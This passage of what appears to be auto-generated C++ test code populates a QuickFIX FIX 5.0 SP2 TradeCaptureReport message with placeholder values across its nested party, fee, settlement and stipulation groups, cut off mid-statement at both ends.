noRootPartySubIDs_2_1_0;\n      // RootSubParties.NoRootPartySubIDs\n      multiset<string> RootSubParties_NoRootPartySubIDs_24;\n      set_field(noRootPartySubIDs_2_1_0, FIX::RootPartySubID{\"STRING_556672130\"}, RootSubParties_NoRootPartySubIDs_24);\n      set_field(noRootPartySubIDs_2_1_0, FIX::RootPartySubIDType{18096972}, RootSubParties_NoRootPartySubIDs_24);\n      all_values.push_back(RootSubParties_NoRootPartySubIDs_24);\n      all_compo_names.insert(\"...NoRootPartyIDs...NoRootPartySubIDs\");\n\n      noRootPartyIDs_0_2.addGroup(noRootPartySubIDs_2_1_0);\n    }\n    {\n      FIX50SP2::TradeCaptureReport::NoRootPartyIDs::NoRootPartySubIDs noRootPartySubIDs_2_1_1;\n      // RootSubParties.NoRootPartySubIDs\n      multiset<string> RootSubParties_NoRootPartySubIDs_25;\n      set_field(noRootPartySubIDs_2_1_1, FIX::RootPartySubID{\"STRING_352190760\"}, RootSubParties_NoRootPartySubIDs_25);\n      set_field(noRootPartySubIDs_2_1_1, FIX::RootPartySubIDType{1166180498}, RootSubParties_NoRootPartySubIDs_25);\n      all_values.push_back(RootSubParties_NoRootPartySubIDs_25);\n      all_compo_names.insert(\"...NoRootPartyIDs...NoRootPartySubIDs\");\n\n      noRootPartyIDs_0_2.addGroup(noRootPartySubIDs_2_1_1);\n    }\n    {\n      FIX50SP2::TradeCaptureReport::NoRootPartyIDs::NoRootPartySubIDs noRootPartySubIDs_2_1_2;\n      // RootSubParties.NoRootPartySubIDs\n      multiset<string> RootSubParties_NoRootPartySubIDs_26;\n      set_field(noRootPartySubIDs_2_1_2, FIX::RootPartySubID{\"STRING_875703834\"}, RootSubParties_NoRootPartySubIDs_26);\n      set_field(noRootPartySubIDs_2_1_2, FIX::RootPartySubIDType{1316942390}, RootSubParties_NoRootPartySubIDs_26);\n      all_values.push_back(RootSubParties_NoRootPartySubIDs_26);\n      all_compo_names.insert(\"...NoRootPartyIDs...NoRootPartySubIDs\");\n\n      noRootPartyIDs_0_2.addGroup(noRootPartySubIDs_2_1_2);\n    }\n    msg.addGroup(noRootPartyIDs_0_2);\n  }\n  // SpreadOrBenchmarkCurveData\n  multiset<string> SpreadOrBenchmarkCurveData_37;\n  set_field(msg, FIX::BenchmarkCurveCurrency{\"CHF\"}, SpreadOrBenchmarkCurveData_37);\n  set_field(msg, FIX::BenchmarkCurveName{\"STRING_FutureSWAP\"}, SpreadOrBenchmarkCurveData_37);\n  set_field(msg, FIX::BenchmarkCurvePoint{\"STRING_1181902652\"}, SpreadOrBenchmarkCurveData_37);\n  FIX::BenchmarkPrice BenchmarkPrice_37;\n  BenchmarkPrice_37.setString(\"11919647\");\nset_field(msg, BenchmarkPrice_37, SpreadOrBenchmarkCurveData_37);\n  set_field(msg, FIX::BenchmarkPriceType{314956630}, SpreadOrBenchmarkCurveData_37);\n  set_field(msg, FIX::BenchmarkSecurityID{\"STRING_923476506\"}, SpreadOrBenchmarkCurveData_37);\n  set_field(msg, FIX::BenchmarkSecurityIDSource{\"STRING_485155141\"}, SpreadOrBenchmarkCurveData_37);\n  FIX::Spread Spread_37;\n  Spread_37.setString(\"5512639\");\nset_field(msg, Spread_37, SpreadOrBenchmarkCurveData_37);\n  all_values.push_back(SpreadOrBenchmarkCurveData_37);\n  all_compo_names.insert(\".\");\n\n  // TrdCapRptSideGrp\n  // Group TrdCapRptSideGrp.NoSides\n  {\n    FIX50SP2::TradeCaptureReport::NoSides noSides_0_0;\n    // TrdCapRptSideGrp.NoSides\n    multiset<string> TrdCapRptSideGrp_NoSides_0;\n    set_field(noSides_0_0, FIX::Account{\"STRING_366943987\"}, TrdCapRptSideGrp_NoSides_0);\n    set_field(noSides_0_0, FIX::AccountType{8}, TrdCapRptSideGrp_NoSides_0);\n    FIX::AccruedInterestAmt AccruedInterestAmt_10;\n    AccruedInterestAmt_10.setString(\"1983563\");\nset_field(noSides_0_0, AccruedInterestAmt_10, TrdCapRptSideGrp_NoSides_0);\n    FIX::AccruedInterestRate AccruedInterestRate_5;\n    AccruedInterestRate_5.setString(\"81.130000\");\nset_field(noSides_0_0, AccruedInterestRate_5, TrdCapRptSideGrp_NoSides_0);\n    set_field(noSides_0_0, FIX::AcctIDSource{5}, TrdCapRptSideGrp_NoSides_0);\n    set_field(noSides_0_0, FIX::AggressorIndicator{false}, TrdCapRptSideGrp_NoSides_0);\n    set_field(noSides_0_0, FIX::AllocID{\"STRING_1260287732\"}, TrdCapRptSideGrp_NoSides_0);\n    set_field(noSides_0_0, FIX::ComplianceID{\"STRING_1837612580\"}, TrdCapRptSideGrp_NoSides_0);\n    FIX::Concession Concession_5;\n    Concession_5.setString(\"19158586\");\nset_field(noSides_0_0, Concession_5, TrdCapRptSideGrp_NoSides_0);\n    set_field(noSides_0_0, FIX::CustOrderCapacity{2}, TrdCapRptSideGrp_NoSides_0);\n    set_field(noSides_0_0, FIX::EncodedText{\"DATA_413703241\"}, TrdCapRptSideGrp_NoSides_0);\n    set_field(noSides_0_0, FIX::EncodedTextLen{1194144137}, TrdCapRptSideGrp_NoSides_0);\n    FIX::EndAccruedInterestAmt EndAccruedInterestAmt_10;\n    EndAccruedInterestAmt_10.setString(\"8440698\");\nset_field(noSides_0_0, EndAccruedInterestAmt_10, TrdCapRptSideGrp_NoSides_0);\n    FIX::EndCash EndCash_10;\n    EndCash_10.setString(\"15647230\");\nset_field(noSides_0_0, EndCash_10, TrdCapRptSideGrp_NoSides_0);\n    set_field(noSides_0_0, FIX::ExDate{\"LOCALMKTDATE_941333090\"}, TrdCapRptSideGrp_NoSides_0);\n    set_field(noSides_0_0, FIX::ExchangeRule{\"STRING_1400742020\"}, TrdCapRptSideGrp_NoSides_0);\n    set_field(noSides_0_0, FIX::ExchangeSpecialInstructions{\"STRING_1582820004\"}, TrdCapRptSideGrp_NoSides_0);\n    FIX::InterestAtMaturity InterestAtMaturity_5;\n    InterestAtMaturity_5.setString(\"12935238\");\nset_field(noSides_0_0, InterestAtMaturity_5, TrdCapRptSideGrp_NoSides_0);\n    set_field(noSides_0_0, FIX::NetGrossInd{1}, TrdCapRptSideGrp_NoSides_0);\n    FIX::NetMoney NetMoney_5;\n    NetMoney_5.setString(\"3110401\");\nset_field(noSides_0_0, NetMoney_5, TrdCapRptSideGrp_NoSides_0);\n    set_field(noSides_0_0, FIX::NumDaysInterest{462982592}, TrdCapRptSideGrp_NoSides_0);\n    set_field(noSides_0_0, FIX::OddLot{false}, TrdCapRptSideGrp_NoSides_0);\n    set_field(noSides_0_0, FIX::OrderCategory{'6'}, TrdCapRptSideGrp_NoSides_0);\n    set_field(noSides_0_0, FIX::OrderDelay{161184520}, TrdCapRptSideGrp_NoSides_0);\n    set_field(noSides_0_0, FIX::OrderDelayUnit{11}, TrdCapRptSideGrp_NoSides_0);\n    set_field(noSides_0_0, FIX::PositionEffect{'C'}, TrdCapRptSideGrp_NoSides_0);\n    set_field(noSides_0_0, FIX::PreallocMethod{'0'}, TrdCapRptSideGrp_NoSides_0);\n    set_field(noSides_0_0, FIX::ProcessCode{'1'}, TrdCapRptSideGrp_NoSides_0);\n    set_field(noSides_0_0, FIX::RptSeq{1117029271}, TrdCapRptSideGrp_NoSides_0);\n    FIX::SettlCurrAmt SettlCurrAmt_13;\n    SettlCurrAmt_13.setString(\"10274050\");\nset_field(noSides_0_0, SettlCurrAmt_13, TrdCapRptSideGrp_NoSides_0);\n    FIX::SettlCurrFxRate SettlCurrFxRate_13;\n    SettlCurrFxRate_13.setString(\"11608915\");\nset_field(noSides_0_0, SettlCurrFxRate_13, TrdCapRptSideGrp_NoSides_0);\n    set_field(noSides_0_0, FIX::SettlCurrFxRateCalc{'M'}, TrdCapRptSideGrp_NoSides_0);\n    set_field(noSides_0_0, FIX::Side{'8'}, TrdCapRptSideGrp_NoSides_0);\n    set_field(noSides_0_0, FIX::SideCurrency{\"USD\"}, TrdCapRptSideGrp_NoSides_0);\n    set_field(noSides_0_0, FIX::SideExecID{\"STRING_1726638165\"}, TrdCapRptSideGrp_NoSides_0);\n    set_field(noSides_0_0, FIX::SideFillStationCd{\"STRING_1086433638\"}, TrdCapRptSideGrp_NoSides_0);\n    FIX::SideGrossTradeAmt SideGrossTradeAmt_0;\n    SideGrossTradeAmt_0.setString(\"17766954\");\nset_field(noSides_0_0, SideGrossTradeAmt_0, TrdCapRptSideGrp_NoSides_0);\n    set_field(noSides_0_0, FIX::SideLastQty{1416767097}, TrdCapRptSideGrp_NoSides_0);\n    set_field(noSides_0_0, FIX::SideLiquidityInd{854808670}, TrdCapRptSideGrp_NoSides_0);\n    set_field(noSides_0_0, FIX::SideMultiLegReportingType{2}, TrdCapRptSideGrp_NoSides_0);\n    set_field(noSides_0_0, FIX::SideReasonCd{\"STRING_1830470338\"}, TrdCapRptSideGrp_NoSides_0);\n    set_field(noSides_0_0, FIX::SideSettlCurrency{\"JPY\"}, TrdCapRptSideGrp_NoSides_0);\n    set_field(noSides_0_0, FIX::SideTradeReportID{\"STRING_1247709722\"}, TrdCapRptSideGrp_NoSides_0);\n    set_field(noSides_0_0, FIX::SideTrdSubTyp{842802249}, TrdCapRptSideGrp_NoSides_0);\n    set_field(noSides_0_0, FIX::SolicitedFlag{true}, TrdCapRptSideGrp_NoSides_0);\n    FIX::StartCash StartCash_10;\n    StartCash_10.setString(\"6830460\");\nset_field(noSides_0_0, StartCash_10, TrdCapRptSideGrp_NoSides_0);\n    set_field(noSides_0_0, FIX::Text{\"STRING_2136326099\"}, TrdCapRptSideGrp_NoSides_0);\n    set_field(noSides_0_0, FIX::TimeBracket{\"STRING_1741296690\"}, TrdCapRptSideGrp_NoSides_0);\n    FIX::TotalTakedown TotalTakedown_5;\n    TotalTakedown_5.setString(\"9940862\");\nset_field(noSides_0_0, TotalTakedown_5, TrdCapRptSideGrp_NoSides_0);\n    set_field(noSides_0_0, FIX::TradeAllocIndicator{5}, TrdCapRptSideGrp_NoSides_0);\n    set_field(noSides_0_0, FIX::TradeInputDevice{\"STRING_1034318165\"}, TrdCapRptSideGrp_NoSides_0);\n    set_field(noSides_0_0, FIX::TradeInputSource{\"STRING_433995635\"}, TrdCapRptSideGrp_NoSides_0);\n    set_field(noSides_0_0, FIX::TradingSessionID{\"STRING_4\"}, TrdCapRptSideGrp_NoSides_0);\n    set_field(noSides_0_0, FIX::TradingSessionSubID{\"STRING_6\"}, TrdCapRptSideGrp_NoSides_0);\n    all_values.push_back(TrdCapRptSideGrp_NoSides_0);\n    all_compo_names.insert(\"...NoSides\");\n\n    // ClrInstGrp\n    // Group ClrInstGrp.NoClearingInstructions\n    {\n      FIX50SP2::TradeCaptureReport::NoSides::NoClearingInstructions noClearingInstructions_0_1_0;\n      // ClrInstGrp.NoClearingInstructions\n      multiset<string> ClrInstGrp_NoClearingInstructions_17;\n      set_field(noClearingInstructions_0_1_0, FIX::ClearingInstruction{8}, ClrInstGrp_NoClearingInstructions_17);\n      all_values.push_back(ClrInstGrp_NoClearingInstructions_17);\n      all_compo_names.insert(\"...NoSides...NoClearingInstructions\");\n\n      noSides_0_0.addGroup(noClearingInstructions_0_1_0);\n    }\n    // CommissionData\n    multiset<string> CommissionData_24;\n    set_field(noSides_0_0, FIX::CommCurrency{\"CAN\"}, CommissionData_24);\n    set_field(noSides_0_0, FIX::CommType{'1'}, CommissionData_24);\n    FIX::Commission Commission_27;\n    Commission_27.setString(\"19210508\");\nset_field(noSides_0_0, Commission_27, CommissionData_24);\n    set_field(noSides_0_0, FIX::FundRenewWaiv{'N'}, CommissionData_24);\n    all_values.push_back(CommissionData_24);\n    all_compo_names.insert(\"...NoSides.\");\n\n    // ContAmtGrp\n    // Group ContAmtGrp.NoContAmts\n    {\n      FIX50SP2::TradeCaptureReport::NoSides::NoContAmts noContAmts_0_1_0;\n      // ContAmtGrp.NoContAmts\n      multiset<string> ContAmtGrp_NoContAmts_1;\n      set_field(noContAmts_0_1_0, FIX::ContAmtCurr{\"GBP\"}, ContAmtGrp_NoContAmts_1);\n      set_field(noContAmts_0_1_0, FIX::ContAmtType{14}, ContAmtGrp_NoContAmts_1);\n      FIX::ContAmtValue ContAmtValue_1;\n      ContAmtValue_1.setString(\"717650\");\nset_field(noContAmts_0_1_0, ContAmtValue_1, ContAmtGrp_NoContAmts_1);\n      all_values.push_back(ContAmtGrp_NoContAmts_1);\n      all_compo_names.insert(\"...NoSides...NoContAmts\");\n\n      noSides_0_0.addGroup(noContAmts_0_1_0);\n    }\n    // MiscFeesGrp\n    // Group MiscFeesGrp.NoMiscFees\n    {\n      FIX50SP2::TradeCaptureReport::NoSides::NoMiscFees noMiscFees_0_1_0;\n      // MiscFeesGrp.NoMiscFees\n      multiset<string> MiscFeesGrp_NoMiscFees_30;\n      FIX::MiscFeeAmt MiscFeeAmt_30;\n      MiscFeeAmt_30.setString(\"519671\");\nset_field(noMiscFees_0_1_0, MiscFeeAmt_30, MiscFeesGrp_NoMiscFees_30);\n      set_field(noMiscFees_0_1_0, FIX::MiscFeeBasis{1}, MiscFeesGrp_NoMiscFees_30);\n      set_field(noMiscFees_0_1_0, FIX::MiscFeeCurr{\"JPY\"}, MiscFeesGrp_NoMiscFees_30);\n      set_field(noMiscFees_0_1_0, FIX::MiscFeeType{\"STRING_2\"}, MiscFeesGrp_NoMiscFees_30);\n      all_values.push_back(MiscFeesGrp_NoMiscFees_30);\n      all_compo_names.insert(\"...NoSides...NoMiscFees\");\n\n      noSides_0_0.addGroup(noMiscFees_0_1_0);\n    }\n    {\n      FIX50SP2::TradeCaptureReport::NoSides::NoMiscFees noMiscFees_0_1_1;\n      // MiscFeesGrp.NoMiscFees\n      multiset<string> MiscFeesGrp_NoMiscFees_31;\n      FIX::MiscFeeAmt MiscFeeAmt_31;\n      MiscFeeAmt_31.setString(\"6631698\");\nset_field(noMiscFees_0_1_1, MiscFeeAmt_31, MiscFeesGrp_NoMiscFees_31);\n      set_field(noMiscFees_0_1_1, FIX::MiscFeeBasis{1}, MiscFeesGrp_NoMiscFees_31);\n      set_field(noMiscFees_0_1_1, FIX::MiscFeeCurr{\"JPY\"}, MiscFeesGrp_NoMiscFees_31);\n      set_field(noMiscFees_0_1_1, FIX::MiscFeeType{\"STRING_8\"}, MiscFeesGrp_NoMiscFees_31);\n      all_values.push_back(MiscFeesGrp_NoMiscFees_31);\n      all_compo_names.insert(\"...NoSides...NoMiscFees\");\n\n      noSides_0_0.addGroup(noMiscFees_0_1_1);\n    }\n    {\n      FIX50SP2::TradeCaptureReport::NoSides::NoMiscFees noMiscFees_0_1_2;\n      // MiscFeesGrp.NoMiscFees\n      multiset<string> MiscFeesGrp_NoMiscFees_32;\n      FIX::MiscFeeAmt MiscFeeAmt_32;\n      MiscFeeAmt_32.setString(\"16596875\");\nset_field(noMiscFees_0_1_2, MiscFeeAmt_32, MiscFeesGrp_NoMiscFees_32);\n      set_field(noMiscFees_0_1_2, FIX::MiscFeeBasis{2}, MiscFeesGrp_NoMiscFees_32);\n      set_field(noMiscFees_0_1_2, FIX::MiscFeeCurr{\"JPY\"}, MiscFeesGrp_NoMiscFees_32);\n      set_field(noMiscFees_0_1_2, FIX::MiscFeeType{\"STRING_4\"}, MiscFeesGrp_NoMiscFees_32);\n      all_values.push_back(MiscFeesGrp_NoMiscFees_32);\n      all_compo_names.insert(\"...NoSides...NoMiscFees\");\n\n      noSides_0_0.addGroup(noMiscFees_0_1_2);\n    }\n    // Parties\n    // Group Parties.NoPartyIDs\n    {\n      FIX50SP2::TradeCaptureReport::NoSides::NoPartyIDs noPartyIDs_0_1_0;\n      // Parties.NoPartyIDs\n      multiset<string> Parties_NoPartyIDs_149;\n      set_field(noPartyIDs_0_1_0, FIX::PartyID{\"STRING_577038540\"}, Parties_NoPartyIDs_149);\n      set_field(noPartyIDs_0_1_0, FIX::PartyIDSource{'2'}, Parties_NoPartyIDs_149);\n      set_field(noPartyIDs_0_1_0, FIX::PartyRole{64}, Parties_NoPartyIDs_149);\n      all_values.push_back(Parties_NoPartyIDs_149);\n      all_compo_names.insert(\"...NoSides...NoPartyIDs\");\n\n      // PtysSubGrp\n      // Group PtysSubGrp.NoPartySubIDs\n      {\n        FIX50SP2::TradeCaptureReport::NoSides::NoPartyIDs::NoPartySubIDs noPartySubIDs_0_0_2_0;\n        // PtysSubGrp.NoPartySubIDs\n        multiset<string> PtysSubGrp_NoPartySubIDs_296;\n        set_field(noPartySubIDs_0_0_2_0, FIX::PartySubID{\"STRING_587593192\"}, PtysSubGrp_NoPartySubIDs_296);\n        set_field(noPartySubIDs_0_0_2_0, FIX::PartySubIDType{24}, PtysSubGrp_NoPartySubIDs_296);\n        all_values.push_back(PtysSubGrp_NoPartySubIDs_296);\n        all_compo_names.insert(\"...NoSides...NoPartyIDs...NoPartySubIDs\");\n\n        noPartyIDs_0_1_0.addGroup(noPartySubIDs_0_0_2_0);\n      }\n      noSides_0_0.addGroup(noPartyIDs_0_1_0);\n    }\n    {\n      FIX50SP2::TradeCaptureReport::NoSides::NoPartyIDs noPartyIDs_0_1_1;\n      // Parties.NoPartyIDs\n      multiset<string> Parties_NoPartyIDs_150;\n      set_field(noPartyIDs_0_1_1, FIX::PartyID{\"STRING_1635261400\"}, Parties_NoPartyIDs_150);\n      set_field(noPartyIDs_0_1_1, FIX::PartyIDSource{'7'}, Parties_NoPartyIDs_150);\n      set_field(noPartyIDs_0_1_1, FIX::PartyRole{9}, Parties_NoPartyIDs_150);\n      all_values.push_back(Parties_NoPartyIDs_150);\n      all_compo_names.insert(\"...NoSides...NoPartyIDs\");\n\n      // PtysSubGrp\n      // Group PtysSubGrp.NoPartySubIDs\n      {\n        FIX50SP2::TradeCaptureReport::NoSides::NoPartyIDs::NoPartySubIDs noPartySubIDs_0_1_2_0;\n        // PtysSubGrp.NoPartySubIDs\n        multiset<string> PtysSubGrp_NoPartySubIDs_297;\n        set_field(noPartySubIDs_0_1_2_0, FIX::PartySubID{\"STRING_1493975414\"}, PtysSubGrp_NoPartySubIDs_297);\n        set_field(noPartySubIDs_0_1_2_0, FIX::PartySubIDType{33}, PtysSubGrp_NoPartySubIDs_297);\n        all_values.push_back(PtysSubGrp_NoPartySubIDs_297);\n        all_compo_names.insert(\"...NoSides...NoPartyIDs...NoPartySubIDs\");\n\n        noPartyIDs_0_1_1.addGroup(noPartySubIDs_0_1_2_0);\n      }\n      {\n        FIX50SP2::TradeCaptureReport::NoSides::NoPartyIDs::NoPartySubIDs noPartySubIDs_0_1_2_1;\n        // PtysSubGrp.NoPartySubIDs\n        multiset<string> PtysSubGrp_NoPartySubIDs_298;\n        set_field(noPartySubIDs_0_1_2_1, FIX::PartySubID{\"STRING_1473990591\"}, PtysSubGrp_NoPartySubIDs_298);\n        set_field(noPartySubIDs_0_1_2_1, FIX::PartySubIDType{27}, PtysSubGrp_NoPartySubIDs_298);\n        all_values.push_back(PtysSubGrp_NoPartySubIDs_298);\n        all_compo_names.insert(\"...NoSides...NoPartyIDs...NoPartySubIDs\");\n\n        noPartyIDs_0_1_1.addGroup(noPartySubIDs_0_1_2_1);\n      }\n      {\n        FIX50SP2::TradeCaptureReport::NoSides::NoPartyIDs::NoPartySubIDs noPartySubIDs_0_1_2_2;\n        // PtysSubGrp.NoPartySubIDs\n        multiset<string> PtysSubGrp_NoPartySubIDs_299;\n        set_field(noPartySubIDs_0_1_2_2, FIX::PartySubID{\"STRING_825335288\"}, PtysSubGrp_NoPartySubIDs_299);\n        set_field(noPartySubIDs_0_1_2_2, FIX::PartySubIDType{33}, PtysSubGrp_NoPartySubIDs_299);\n        all_values.push_back(PtysSubGrp_NoPartySubIDs_299);\n        all_compo_names.insert(\"...NoSides...NoPartyIDs...NoPartySubIDs\");\n\n        noPartyIDs_0_1_1.addGroup(noPartySubIDs_0_1_2_2);\n      }\n      noSides_0_0.addGroup(noPartyIDs_0_1_1);\n    }\n    {\n      FIX50SP2::TradeCaptureReport::NoSides::NoPartyIDs noPartyIDs_0_1_2;\n      // Parties.NoPartyIDs\n      multiset<string> Parties_NoPartyIDs_151;\n      set_field(noPartyIDs_0_1_2, FIX::PartyID{\"STRING_344830540\"}, Parties_NoPartyIDs_151);\n      set_field(noPartyIDs_0_1_2, FIX::PartyIDSource{'D'}, Parties_NoPartyIDs_151);\n      set_field(noPartyIDs_0_1_2, FIX::PartyRole{54}, Parties_NoPartyIDs_151);\n      all_values.push_back(Parties_NoPartyIDs_151);\n      all_compo_names.insert(\"...NoSides...NoPartyIDs\");\n\n      // PtysSubGrp\n      // Group PtysSubGrp.NoPartySubIDs\n      {\n        FIX50SP2::TradeCaptureReport::NoSides::NoPartyIDs::NoPartySubIDs noPartySubIDs_0_2_2_0;\n        // PtysSubGrp.NoPartySubIDs\n        multiset<string> PtysSubGrp_NoPartySubIDs_300;\n        set_field(noPartySubIDs_0_2_2_0, FIX::PartySubID{\"STRING_83075621\"}, PtysSubGrp_NoPartySubIDs_300);\n        set_field(noPartySubIDs_0_2_2_0, FIX::PartySubIDType{17}, PtysSubGrp_NoPartySubIDs_300);\n        all_values.push_back(PtysSubGrp_NoPartySubIDs_300);\n        all_compo_names.insert(\"...NoSides...NoPartyIDs...NoPartySubIDs\");\n\n        noPartyIDs_0_1_2.addGroup(noPartySubIDs_0_2_2_0);\n      }\n      noSides_0_0.addGroup(noPartyIDs_0_1_2);\n    }\n    // SettlDetails\n    // Group SettlDetails.NoSettlDetails\n    {\n      FIX50SP2::TradeCaptureReport::NoSides::NoSettlDetails noSettlDetails_0_1_0;\n      // SettlDetails.NoSettlDetails\n      multiset<string> SettlDetails_NoSettlDetails_7;\n      set_field(noSettlDetails_0_1_0, FIX::SettlObligSource{'2'}, SettlDetails_NoSettlDetails_7);\n      all_values.push_back(SettlDetails_NoSettlDetails_7);\n      all_compo_names.insert(\"...NoSides...NoSettlDetails\");\n\n      // SettlParties\n      // Group SettlParties.NoSettlPartyIDs\n      {\n        FIX50SP2::TradeCaptureReport::NoSides::NoSettlDetails::NoSettlPartyIDs noSettlPartyIDs_0_0_2_0;\n        // SettlParties.NoSettlPartyIDs\n        multiset<string> SettlParties_NoSettlPartyIDs_51;\n        set_field(noSettlPartyIDs_0_0_2_0, FIX::SettlPartyID{\"STRING_208438836\"}, SettlParties_NoSettlPartyIDs_51);\n        set_field(noSettlPartyIDs_0_0_2_0, FIX::SettlPartyIDSource{'1'}, SettlParties_NoSettlPartyIDs_51);\n        set_field(noSettlPartyIDs_0_0_2_0, FIX::SettlPartyRole{126629641}, SettlParties_NoSettlPartyIDs_51);\n        all_values.push_back(SettlParties_NoSettlPartyIDs_51);\n        all_compo_names.insert(\"...NoSides...NoSettlDetails...NoSettlPartyIDs\");\n\n        // SettlPtysSubGrp\n        // Group SettlPtysSubGrp.NoSettlPartySubIDs\n        {\n          FIX50SP2::TradeCaptureReport::NoSides::NoSettlDetails::NoSettlPartyIDs::NoSettlPartySubIDs noSettlPartySubIDs_0_0_0_3_0;\n          // SettlPtysSubGrp.NoSettlPartySubIDs\n          multiset<string> SettlPtysSubGrp_NoSettlPartySubIDs_102;\n          set_field(noSettlPartySubIDs_0_0_0_3_0, FIX::SettlPartySubID{\"STRING_1965135706\"}, SettlPtysSubGrp_NoSettlPartySubIDs_102);\n          set_field(noSettlPartySubIDs_0_0_0_3_0, FIX::SettlPartySubIDType{1072937518}, SettlPtysSubGrp_NoSettlPartySubIDs_102);\n          all_values.push_back(SettlPtysSubGrp_NoSettlPartySubIDs_102);\n          all_compo_names.insert(\"...NoSides...NoSettlDetails...NoSettlPartyIDs...NoSettlPartySubIDs\");\n\n          noSettlPartyIDs_0_0_2_0.addGroup(noSettlPartySubIDs_0_0_0_3_0);\n        }\n        noSettlDetails_0_1_0.addGroup(noSettlPartyIDs_0_0_2_0);\n      }\n      noSides_0_0.addGroup(noSettlDetails_0_1_0);\n    }\n    // SideTrdRegTS\n    // Group SideTrdRegTS.NoSideTrdRegTS\n    {\n      FIX50SP2::TradeCaptureReport::NoSides::NoSideTrdRegTS noSideTrdRegTS_0_1_0;\n      // SideTrdRegTS.NoSideTrdRegTS\n      multiset<string> SideTrdRegTS_NoSideTrdRegTS_0;\n      set_field(noSideTrdRegTS_0_1_0, FIX::SideTrdRegTimestamp{FIX::UTCTIMESTAMP(16, 19, 4, 20, 12, 2005)}, SideTrdRegTS_NoSideTrdRegTS_0);\n      set_field(noSideTrdRegTS_0_1_0, FIX::SideTrdRegTimestampSrc{\"STRING_109755280\"}, SideTrdRegTS_NoSideTrdRegTS_0);\n      set_field(noSideTrdRegTS_0_1_0, FIX::SideTrdRegTimestampType{447296624}, SideTrdRegTS_NoSideTrdRegTS_0);\n      all_values.push_back(SideTrdRegTS_NoSideTrdRegTS_0);\n      all_compo_names.insert(\"...NoSides...NoSideTrdRegTS\");\n\n      noSides_0_0.addGroup(noSideTrdRegTS_0_1_0);\n    }\n    // Stipulations\n    // Group Stipulations.NoStipulations\n    {\n      FIX50SP2::TradeCaptureReport::NoSides::NoStipulations noStipulations_0_1_0;\n      // Stipulations.NoStipulations\n      multiset<string> Stipulations_NoStipulations_68;\n      set_field(noStipulations_0_1_0, FIX::StipulationType{\"STRING_RESTRICTED\"}, Stipulations_NoStipulations_68);\n      set_field(noStipulations_0_1_0, FIX::StipulationValue{\"STRING_1921287215\"}, Stipulations_NoStipulations_68);\n      all_values.push_back(Stipulations_NoStipulations_68);\n      all_compo_names.insert(\"...NoSides...NoStipulations\");\n\n      noSides_0_0.addGroup(noStipulations_0_1_0);\n    }\n    {\n      FIX50SP2::TradeCaptureReport::NoSides::NoStipulations noStipulations_0_1_1;\n      // Stipulations.NoStipulations\n      multiset<string> Stipulations_NoStipulations_69;\n      set_field(noStipulations_0_1_1, FIX::StipulationType{\"STRING_ABS\"}, Stipulations_NoStipulations_69);\n      set_field(noStipulations_0_1_1, FIX::StipulationValue{\"STRING_95417677\"}, Stipulations_NoStipulations_69);\n      all_values.push_back(Stipulations_NoStipulations_69);\n      all_compo_names.insert(\"...NoSides...NoStipulations\");\n\n      noSides_0_0.addGroup(noStipulations_0_1_1);\n    }\n    {\n      FIX50SP2::TradeCaptureReport::NoSides::NoStipulations noStipulations_0_1_2;\n      // Stipulations.NoStipulations\n      multiset<string> Stipulations_NoStipulations_70;\n      set_field(noStipulations_0_1_2, FIX::StipulationType{\"STRING_CURRENCY\"}, Stipulations_NoStipulations_70);\n      set_field(noStipulations_0_1_2, FIX::StipulationValue{\"STRING_1850902291\"}, Stipulations_NoStipulations_70);\n      all_values.push_back(Stipulations_NoStipulations_70);\n      all_compo_names.insert(\"...NoSides...NoStipulations\");\n\n      noSides_0_0.addGroup(noStipulations_0_1_2);\n    }\n    // TradeReportOrderDetail\n    multiset<string> TradeReportOrderDetail_0;\n    set_field(noSides_0_0, FIX::BookingType{2}, TradeReportOrderDetail_0);\n    set_field(noSides_0_0, FIX::ClOrdID{\"STRING_413189174\"}, TradeReportOrderDetail_0);\n    FIX::CumQty CumQty_3;\n    CumQty_3.setString(\"8762920\");\nset_field(noSides_0_0, CumQty_3, TradeReportOrderDetail_0);\n    set_field(noSides_0_0, FIX::ExecInst{\"MULTIPLECHARVALUE_L\"}, TradeReportOrderDetail_0);\n    set_field(noSides_0_0, FIX::ExpireTime{FIX::UTCTIMESTAMP(0, 21, 43, 16, 7, 2015)}, TradeReportOrderDetail_0);\n    FIX::LeavesQty LeavesQty_2;\n    LeavesQty_2.setString(\"19534336\");\nset_field(noSides_0_0, LeavesQty_2, TradeReportOrderDetail_0);\n    set_field(noSides_0_0, FIX::ListID{\"STRING_836131208\"}, TradeReportOrderDetail_0);\n    set_field(noSides_0_0, FIX::LotType{'4'}, TradeReportOrderDetail_0);\n    set_field(noSides_0_0, FIX::OrdStatus{'7'}, TradeReportOrderDetail_0);\n    set_field(noSides_0_0, FIX::OrdType{'L'}, TradeReportOrderDetail_0);\n    set_field(noSides_0_0, FIX::OrderCapacity{'P'}, TradeReportOrderDetail_0);\n    set_field(noSides_0_0, FIX::OrderID{\"STRING_823668281\"}, TradeReportOrderDetail_0);\n    set_field(noSides_0_0, FIX::OrderInputDevice{\"STRING_713896344\"}, TradeReportOrderDetail_0);\n    set_field(noSides_0_0, FIX::OrderRestrictions{\"MULTIPLECHARVALUE_F\"}, TradeReportOrderDetail_0);\n    set_field(noSides_0_0, FIX::OrigCustOrderCapacity{1}, TradeReportOrderDetail_0);\n    set_field(noSides_0_0, FIX::OrigOrdModTime{FIX::UTCTIMESTAMP(12, 16, 6, 25, 8, 2006)}, TradeReportOrderDetail_0);\n    FIX::Price Price_25;\n    Price_25.setString(\"4263092\");\nset_field(noSides_0_0, Price_25, TradeReportOrderDetail_0);\n    set_field(noSides_0_0, FIX::RefOrdIDReason{1}, TradeReportOrderDetail_0);\n    set_field(noSides_0_0, FIX::RefOrderID{\"STRING_310073891\"}, TradeReportOrderDetail_0);\n    set_field(noSides_0_0, FIX::RefOrderIDSource{'1'}, TradeReportOrderDetail_0);\n    set_field(noSides_0_0, FIX::SecondaryClOrdID{\"STRING_366224995\"}, TradeReportOrderDetail_0);\n    set_field(noSides_0_0, FIX::SecondaryOrderID{\"STRING_1186365956\"}, TradeReportOrderDetail_0);\n    FIX::StopPx StopPx_9;\n    StopPx_9.setString(\"16875153\");\nset_field(noSides_0_0, StopPx_9, TradeReportOrderDetail_0);\n    set_field(noSides_0_0, FIX::TimeInForce{'8'}, TradeReportOrderDetail_0);\n    set_field(noSides_0_0, FIX::TransBkdTime{FIX::UTCTIMESTAMP(21, 41, 52, 7, 3, 2006)}, TradeReportOrderDetail_0);\n    all_values.push_back(TradeReportOrderDetail_0);\n    all_compo_names.insert(\"...NoSides.\");\n\n    // DisplayInstruction\n    multiset<string> 